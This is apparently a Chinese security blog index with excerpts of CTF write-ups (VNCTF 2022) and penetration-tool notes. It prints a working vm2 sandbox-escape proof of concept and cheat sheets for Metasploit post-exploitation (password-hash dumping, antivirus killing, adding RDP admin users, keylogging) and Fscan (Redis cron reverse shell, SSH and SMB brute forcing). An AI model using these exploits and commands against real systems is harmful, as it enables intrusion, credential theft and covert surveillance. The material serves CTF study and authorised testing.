【脚本】NC中的SHA256解密

VNCTF-CRYPTO-ezmath是一道完全没难度的密码题,但是又是一道非常有难度的脚本题
这题只要返回4*N就好,难度就在写脚本了
在PWN等运用到nc的题目中,Sha256是最好的防止扫端口的计算方法。
由于Sha256不可逆,我们只好通过暴力或者撞库的方式找出所有解
但是这题又使用的是Sha256(????+XXXXXXXXXXXX)这样的方式,所以只好选择暴力了
再配合上pwntools,发就完事了

继续阅读【脚本】NC中的SHA256解密

【MISC】BASE系列加密解析

见到了一题比较离谱的base64题目,VNCTF2022-Web-gocalc0,可能是我太菜的原因,明明hint告诉我,flag在session里面,我却怎样都Base64出不来,一直说解密出错。
这题对于Web没有一点难度,姑且放在MISC分类里面。

Base16

使用字符:数字(0 ~ 9),字母(A ~ F)
Base16先获取输入字符串每个字节的二进制值(不足8bit在高位补0),然后将其串联进来,再按照4bit一组进行切分(2^4=16),将每组二进制数分别转换成十进制,并对应下述编码。
即二进制转十六进制,对应下表

编码 编码 编码 编码
0 0 4 4 8 8 12 C
1 1 5 5 9 9 13 D
2 2 6 6 10 A 14 E
3 3 7 7 11 B 15 F

继续阅读【MISC】BASE系列加密解析

【WEB】VM2沙箱逃逸

VM2的沙箱逃逸出自VNCTF2022-WEB-newcalc0
根据hint访问package.json

///source?path=/package.json
...
  "dependencies": {
    "express": "^4.17.1",
    "pm2": "^4.5.6",
    "vm2": "^3.9.5"
  }
...

再阅读源码,无其他位置可以注入,故寻找VM2的CVE
这里有个CVE数据库可以使用
Snyk Vulnerability Database(https://security.snyk.io/)
我们于是找到了一个VM2绕过的CVE
Sandbox Bypass Affecting VM2 versions <3.9.6
刚好VM2版本对应上了,理论存在,实践开始
由于第一个poc好像被过滤了一部分,于是直接尝试第二个

e=1;function getRootPrototype(obj) {//e=1;直接先把module.exports=处理了
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);
}
try {
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
        getRootPrototype(this);
        stack(this);
        return true;
    }), function functionInvocationAnalysis(r) {
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {
        stack(arguments);
    };
} catch (e) {
    getRootPrototype(e).prototype=[1,2,3];///根据题目要求对prototype注入,一次不行,多submit几次(50+一直点就对了),总有一次能污染到原型链
    //getRootPrototype(Object).prototype=[1,2,3];/也许也可以这样原型链污染
    module.exports=Object.keys(Object.prototype);//返回目前的prototype进行回显确认
}

再次访问/flag就出了
主要是对代码的理解,要知道哪里可以对prototype进行修改以及hint:package.json的使用
2022/2/14:复现到3点多,一次不行,多submit几次!

【MISC】图片点阵提取

在打VNCTF2022的时候遇到这样一道题,图片直接放在文章肯能看不清,各位可以点开来仔细观看

放大来看

又是点阵图,这不就是妥妥的点阵提取嘛,打开画图,量出来点之间的距离,然后开造!
结果,出来很意外,每个点之间的距离都是不一样的,都在49~51之间浮动,这就导致直接提取不能提取出有效的信息
好在,每一行每一列的点都在同一条直线上,只要求出最左上角的点,然后跑出每一行每一列的坐标,再拼接即可
拼接的话可以使用OpenCV库,但是Python的PIL(Pillow)好像更胜一筹,于是学了一下写了个脚本

from PIL import Image,ImageDraw
image = Image.open("misc-img-pixel-1.png")
Line=[]
Row=[]
black=image.getpixel((0,0))
for i in range(image.height-1):
    if(image.getpixel((24,i))!=black):
        Row.append(i)
for i in range(image.width-1):
    if(image.getpixel((i,15))!=black):
        Line.append(i)
ret = Image.new('RGB', (len(Line), len(Row)) )
draw = ImageDraw.Draw(ret)
for x in range(len(Line)-1):
    for y in range(len(Row)-1):
        draw.point((x, y), fill=image.getpixel((Line[x],Row[y]))) 
ret.show()
ret.save('result.png')

继续阅读【MISC】图片点阵提取

【MISC】ZIP压缩文件汇总

MISC题目中,ZIP压缩包一般会有五种破解方式

  1. 暴力
  2. 字典
  3. 明文
  4. 冗余数据
  5. 伪加密

一般来说我们可以使用ARCHPR来帮助我们破解ZIP
在得到一个压缩包的时候,我们应该先阅读属性内容,里面能给你一些解题提示
这个就提示我们要六位暴力

以下就是提示我们可能存在冗余数据

其次,我们还可能存在字典,当然啦,我们要有对应的字典才行

在打开压缩包的时候,我们可以留意一下内外压缩包的文件时候有CRC校验码相同的,如果有我们可以尝试明文破解口令。
但是我们也可以不破解口令,直接通过密钥解密文件

在处理冗余数据时,我们可以采用binwalk判断冗余数据,并且binwalk -e提取,有时候不行的话还是自己动手吧

以上四种都很好理解,伪加密我们要使用WinHex打开,修改加密位完成

继续阅读【MISC】ZIP压缩文件汇总

【渗透工具】DNSLOG搭建

Dnslog相信渗透的都不陌生,但我只是在Apache Log4j后才意识到这东西是有多好用
但是有些时候,知名的dnslog.cn网站就会崩溃。
既然这样,干脆就自己搭一个,但是过程十分艰辛。
由于我设置了@*解析,我就不需要再对ns1.xxx.cn/ns2.xxx.cn进行解析
具体如下


然后我们就接着物色dnslog平台
一个非常古老的BugScanTeam的DNSLOG
于是乎,调了好久,6年前的代码,还要改cdn,还要改ssl(开发组历史遗留问题)
最后改完了,发现一直301,查看issue才发现要修改

SECURE_SSL_REDIRECT = False

然而,无论怎么修改数据库,还是进不去他的管理界面!
之后只好另谋出路,最后找到这个
编译好的GO语言的DNSLOG
再配上万能的堡塔和Nginx反代

在经历了2h的磨难后

对了最后记得开放UDP53端口(DNS服务)
开始休息了~

【渗透工具】MSFCONSOLE控制台使用和操作

Metasploit一款开源安全漏洞检测工具,其不断更新的Payload使其成为了最强大的渗透框架之一
对于MSFCONSOLE(简称MSF),就不多赘述安装部署了,对于日常渗透使用一般可以再Viper中使用。
常见参数解读:

-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表

查看所有payloads

--list payloads

使用msfvenom --list encoders可查看所有编码器
还有一些小应用

run hashdump #获取windows密码hash
#关闭杀软
run killav
run post/windows/manage/killav
#操控远程桌面
run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)
#键盘捕捉(Viper有功能)
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能

【渗透工具】Fscan

Github仓库
Fscan是一款内网综合扫描工具,以下为常用命令

fscan -h 0.0.0.0/8 (全网段扫描)
fscan -h 192.168.1.1/24  (默认使用全部模块)
fscan -h 192.168.1.1/16  (B段扫描)
其他用法
fscan -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
fscan -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan -hf ip.txt  (以文件导入)
fscan -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)

具体什么时候使用呢!什么时候都可以!尤其是目标机器连python都跑不起来的时候还怎么渗透内网~

  -c string
        ssh命令执行
  -cookie string
        设置cookie
  -debug int
        多久没响应,就打印当前进度(default 60)
  -domain string
        smb爆破模块时,设置域名
  -h string
        目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
  -hf string
        读取文件中的目标
  -hn string
        扫描时,要跳过的ip: -hn 192.168.1.1/24
  -m string
        设置扫描模式: -m ssh (default "all")
  -no
        扫描结果不保存到文件中
  -nobr
        跳过sql、ftp、ssh等的密码爆破
  -nopoc
        跳过web poc扫描
  -np
        跳过存活探测
  -num int
        web poc 发包速率  (default 20)
  -o string
        扫描结果保存到哪 (default "result.txt")
  -p string
        设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
  -pa string
        新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
  -path string
        fcgi、smb romote file path
  -ping
        使用ping代替icmp进行存活探测
  -pn string
        扫描时要跳过的端口,as: -pn 445
  -pocname string
        指定web poc的模糊名字, -pocname weblogic
  -proxy string
        设置代理, -proxy http://127.0.0.1:8080
  -user string
        指定爆破时的用户名
  -userf string
        指定爆破时的用户名文件
  -pwd string
        指定爆破时的密码
  -pwdf string
        指定爆破时的密码文件
  -rf string
        指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
  -rs string
        redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
  -silent
        静默扫描,适合cs扫描时不回显
  -sshkey string
        ssh连接时,指定ssh私钥
  -t int
        扫描线程 (default 600)
  -time int
        端口扫描超时时间 (default 3)
  -u string
        指定Url扫描
  -uf string
        指定Url文件扫描
  -wt int
        web访问超时时间 (default 5)

【VIPER】部署、监听、代理

前导

Viper中文炫彩蛇,为图形化的渗透平台,用户可以使用浏览器登录完成诸如(覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等大类)操作,并提供内网隧道,文件管理,命令行等常用渗透工具。
在进行内网渗透中,还有内网网络拓扑等可视化工具提高工作效率。

安装

快捷部署有Docker和F8X一键部署两种方式
下方为f8x一件部署,推荐在全新linux环境中使用

curl -o f8x https://f8x.io/   # wget -O f8x https://f8x.io/
bash f8x -viper

我所使用的时Docker安装,并在wsl(Docker on desktop)和linux(CentOS 7)系统下都进行过部署

sudo -s
yum install docker -y
yum install docker-compose -y
systemctl enable docker
service docker restart
#安装Docker并设置自启动
sudo groupadd docker
sudo gpasswd -a ${USER} docker
sudo service docker restart
newgrp - docker
#假如Docker权限组
export VIPER_DIR=/root/VIPER
export VIPER_PASSWORD=YOUR_PWD
#确认自己的安装目录与密码
mkdir -p $VIPER_DIR && cd $VIPER_DIR
tee docker-compose.yml <<-'EOF'
version: "3"
services:
  viper:
    image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
    container_name: viper-c
    network_mode: "host"
    restart: always
    volumes:
      - ${PWD}/loot:/root/.msf4/loot
      - ${PWD}/db:/root/viper/Docker/db
      - ${PWD}/module:/root/viper/Docker/module
      - ${PWD}/log:/root/viper/Docker/log
      - ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig
    command: ["VIPER_PASSWORD"]
EOF
sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml
cd $VIPER_DIR
docker-compose config
#确认DockerFile正确
docker-compose up -d
#启动容器

在WSL中,有一点使用docker的host mode容易端口冲突,所以docker-compose.yml要修改成如下,并自行确认端口映射(60000一定要开以外,其他多开点)

version: "3"
services:
  viper:
    image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
    container_name: viper-c
    restart: always
    ports:
      - "60000-60099:60000-60099"
    volumes:
      - ${PWD}/loot:/mnt/d/Docker/viper/.msf4/loot
      - ${PWD}/db:/mnt/d/Docker/viper/db
      - ${PWD}/module:/mnt/d/Docker/viper/module
      - ${PWD}/log:/mnt/d/Docker/viper/log
      - ${PWD}/nginxconfig:/mnt/d/Docker/viper/nginxconfig
    command: ["VIPER_PASSWORD"]

之后访问https://YourDomain:60000root账户和你的密码,登录Viper

继续阅读【VIPER】部署、监听、代理